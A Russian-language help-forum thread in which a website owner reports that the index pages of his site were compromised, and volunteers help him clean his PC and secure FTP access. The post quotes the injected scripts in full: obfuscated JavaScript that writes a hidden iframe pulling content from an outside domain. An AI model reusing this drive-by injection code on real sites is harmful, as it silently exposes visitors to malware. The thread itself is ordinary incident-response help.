видимо троян пролез на сайт

[DiamondTracer]

Часто добавляю на сайт (tracers.ru) инфу и файлы по фтп. Пользователи начали писать, что антивирусы ругаются при входе на сайти в галерею (на Trojan.Clicker скрипт). Провёл полную проверку компа Авастом, CureIt, AVZ и HijackThis. Отчёты в прикреплённых файлах. Нашёл у себя Авастом несколько троянов и удалил их. В теле главной страницы и в теле страницы галереи появились строчки:

"<script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\u0063
\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u 002f\u0077\u0070\u0075\u0070\u0064\u0061\u0074\u00 65\u0073\u002e\
u0063\u006e\u002f\u0069\u006e\u002e\u0063\u0067\u0 069\u003f\u0032\u0022\u0020\u0077\u0069\u0064\u007 4\u0068\u003d\u0022\
u0030\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0 074\u003d\u0022\u0030\u0022\u0020\u0066\u0072\u006 1\u006d\u0065\u0062\
u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0 022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006 d\u0065\u003e')
</script><script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\
u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u0 02f\u002f\u0077\u0070\u0075\u0070\u0064\u0061\u007 4\u0065\u0073\u002e\
u0063\u006e\u002f\u0069\u006e\u002e\u0063\u0067\u0 069\u003f\u0032\u0022\u0020\u0077\u0069\u0064\u007 4\u0068\u003d\u0022\
u0030\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0 074\u003d\u0022\u0030\u0022\u0020\u0066\u0072\u006 1\u006d\u0065\u0062\
u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0 022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006 d\u0065\u003e')
</script><script>function v47ac7682dcde0(v47ac7682dd5af){ return(parseInt(v47ac7682dd5af,16));}
function v47ac7682ded20(v47ac7682df4ef){ var v47ac7682dfcbe='';for(v47ac7682e048d=0; v47ac7682e048d<v47ac7682df4ef.length; v47ac7682e048d+=2)
{ v47ac7682dfcbe+=(String.fromCharCode(v47ac7682dcde 0(v47ac7682df4ef.substr(v47ac7682e048d, 2))));}return v47ac7682dfcbe;}
document.write(v47ac7682ded20('3C696672616D65206E6 16D653D2733653939383427207372633D27687474703A2F2F7 770757064617465732E636E2F696E2E6367693F32272077696 474683D323533206865696768743D353830207374796C653D2 7646973706C61793A6E6F6E65273E3C2F696672616D653E')) ;
</script>"

Которые тоже удалил.
Сейчас вроде и на компе и на сайте чисто, но у пользователей Касперский продолжает ругаться. Помогите решить причину и не допустить её возникновения в дальнейшем.

[Bratez]

1. ConnectionServices, BitAccelerator, ContentSaver - это adware, настоятельно рекомендуется деинсталлировать.
2. Поищите copy.exe через AVZ - Сервис - Поиск файлов на диске, если найдется, пришлите по правилам.
3. Под Вистой надо запускать AVZ от имени Администратора.

[DiamondTracer]

Спасибо за помощь. По первому пункту - всё удалил, по второму - copy.exe не нашёл. по третьему - запустил =)
Каковы дальнейшие действия?

[V_Bond]

по 3- му запустите от имени администратора и сделайте новый комплект логов ...

[pig]

Онлайн-проверка Dr.Web:

tracers.ru - archive HTML
>tracers.ru/JavaScript.0 - OK
tracers.ru - OK

У вас там по жизни скрипт на странице есть? Если нет, то опять внедрили. И Доктор его не распознаёт

Пароль на FTP надо поменять.

[DVi]

Я сейчас зашел (правда, через FF с отключенными скриптами) - КИС7 не ругнулся. Судя по исходному коду главной страницы, сейчас на сайте чисто.

[DiamondTracer]

pig, скрипт там есть, но он не вредоносный (скрипт таймера), Вебом и McAfee я тоже онлайн проверял - всё чисто =)))
DVi, я поменял пароль на ФТП и вычищал этот скрипт из всех (!) индексных файлов. он мне по всем файлам index.php и index.html прописался =)))
Сейчас вроде всё в норме, но на всякий случай вышлю ещё раз результаты тестов AVZ.

[DiamondTracer]

Новые логи AVZ

[V_Bond]

в логах ничего подозрительного .... (корзину только очистить)

[DiamondTracer]

Спасибо. Значит, проблема решена, так как страницы чисты от кода и жалобы больше но поступают. Благодарю за помощь